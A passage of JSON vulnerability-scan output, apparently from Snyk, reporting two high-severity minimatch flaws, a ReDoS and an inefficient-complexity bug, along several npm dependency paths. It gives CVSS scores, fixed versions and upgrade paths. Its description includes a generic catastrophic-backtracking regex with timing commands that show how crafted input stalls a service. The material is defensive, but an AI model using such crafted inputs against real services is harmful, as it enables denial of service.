very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.14.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": 